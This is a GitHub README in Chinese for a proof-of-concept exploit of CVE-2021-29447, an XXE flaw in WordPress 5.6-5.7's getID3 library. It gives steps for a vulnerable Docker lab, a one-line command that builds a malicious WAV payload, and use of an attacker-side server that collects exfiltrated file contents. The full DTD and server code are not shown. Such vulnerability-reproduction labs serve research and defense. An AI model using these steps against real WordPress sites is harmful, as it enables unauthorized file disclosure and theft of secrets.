rdana55/CVE-2021-29447-PoC
GitHub: rdana55/CVE-2021-29447-PoC
针对 WordPress 5.6-5.7 getID3 库 XXE 注入漏洞(CVE-2021-29447)的完整 PoC,提供 Docker 靶场环境与恶意 WAV 文件载荷生成,实现通过文件上传触发任意文件读取。
Stars: 0 | Forks: 0
# CVE-2021-29447-PoC
## 概述
CVE-2021-29447 是一个 XML 外部实体 (XXE) 注入漏洞,影响运行 PHP 8.0 及以上版本的 WordPress 5.6 至 5.7(在 5.7.1 版本中已修复)。该漏洞存在于用于解析媒体元数据的 getID3 库中。
WordPress 通过 getID3 处理 WAV 文件的 iXML 块,该过程会调用带有 LIBXML_NOENT 标志的 simplexml_load_string()。此标志会显式启用外部实体替换,从而绕过了 PHP 8 默认的 XXE 防护机制(已废弃的 libxml_disable_entity_loader())。
1. 认证用户(Author 及以上角色)上传恶意 WAV 文件
2. getID3 → iXML 块 → simplexml_load_string(XXE_PAYLOAD, LIBXML_NOENT)
3. 获取外部 DTD → PHP data:// 包装器 → 任意文件泄露
## PoC 环境搭建
此 PoC 使用 Docker 化的 WordPress 5.7 + PHP 8.0.3 演示该漏洞。Linux 用户可以使用单文件脚本,该脚本也会生成 WAV/DTD 文件。
▶️: https://youtu.be/YnGowuWHFyY
### 前置条件与环境设置
1. 在 Windows 主机上安装 Docker Desktop
2. 创建专用项目目录(所有 PowerShell 命令均在此处执行):
#powershell
mkdir cve-2021-29447-poc
cd cve-2021-29447-poc
3. 部署存在漏洞的 WordPress:
#powershell
notepad docker-compose.yml
*复制并粘贴 docker-compose.yml 的内容*
4. 启动容器:
#powershell
docker-compose up -d
5. 禁用自动更新(这对于保持漏洞存在至关重要):
#powershell
docker-compose exec wordpress bash
#bash
sed -i "s/WP_AUTO_UPDATE_CORE', true/WP_AUTO_UPDATE_CORE', false/g" /var/www/html/wp-config-sample.php
echo "define('AUTOMATIC_UPDATER_DISABLED', true);" >> /var/www/html/wp-config-sample.php
echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config-sample.php
tail -5 /var/www/html/wp-config-sample.php
exit
6. 验证受影响版本:
#powershell
docker-compose exec wordpress bash -c "grep wp_version /var/www/html/wp-includes/version.php && php -v"
*预期结果: WordPress 5.7, PHP 8.0+*
7. WordPress 安装:
访问:*http://localhost:8080*
管理员:*test* / *test* / *test@test.com*
完成设置 → 访问 /wp-admin
8. 获取攻击者 IP:
#powershell
ipconfig | findstr IPv4
*记录你的 IP(例如 192.168.1.196)*
### 生成漏洞利用载荷
1. 创建 DTD 载荷:
#powershell
notepad evil.dtd
*复制并粘贴 evil.dtd 的内容*
2. 生成 WAV 载荷(Linux 命令行):
#bash
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00%remote;%init;%trick;]>\x00' > payload.wav
*通过 python3 -m http.server 8000 传输 → 在 Windows 浏览器中下载(例如 http://:8000)*
*注意:由于 Windows 环境中二进制转义较为复杂,因此需单独创建 WAV 文件*
3. 部署漏洞利用服务器:
#powershell
notepad exploit.py
*复制并粘贴 exploit.py 的内容*
命令:
#powershell
python exploit.py -l YOUR_IP -p PORT
### 漏洞利用
1. 触发 XXE:
http://localhost:8080/wp-admin → 媒体 → 添加
上传 *payload.wav*
2. 监控 Python 服务器控制台 -> 捕获泄露的数据
3. 解码 Base64+Zlib 载荷:
#powershell
$bd='PASTE_BASE64_HERE';$bytes=[Convert]::FromBase64String($bd);$decoded=[System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($bytes,$false),[System.IO.Compression.CompressionMode]::Decompress);[System.IO.StreamReader]::new($decoded).ReadToEnd()
## 缓解措施
升级至 WordPress 5.7.1 或更高版本,或者在 getID3 解析中禁用 LIBXML_NOENT。
标签:AI合规, CISA项目, CVE-2021-29447, Docker, Docker Compose, getID3库, Maven, PHP 8.0, PoC, WAV文件处理, Web安全, WordPress, XML外部实体注入, XXE漏洞, 任意文件读取, 安全漏洞, 安全防御评估, 应用安全, 文件完整性监控, 文件读取, 暴力破解, 漏洞复现, 漏洞验证, 网络安全审计, 蓝队分析, 请求拦截, 逆向工具, 靶场环境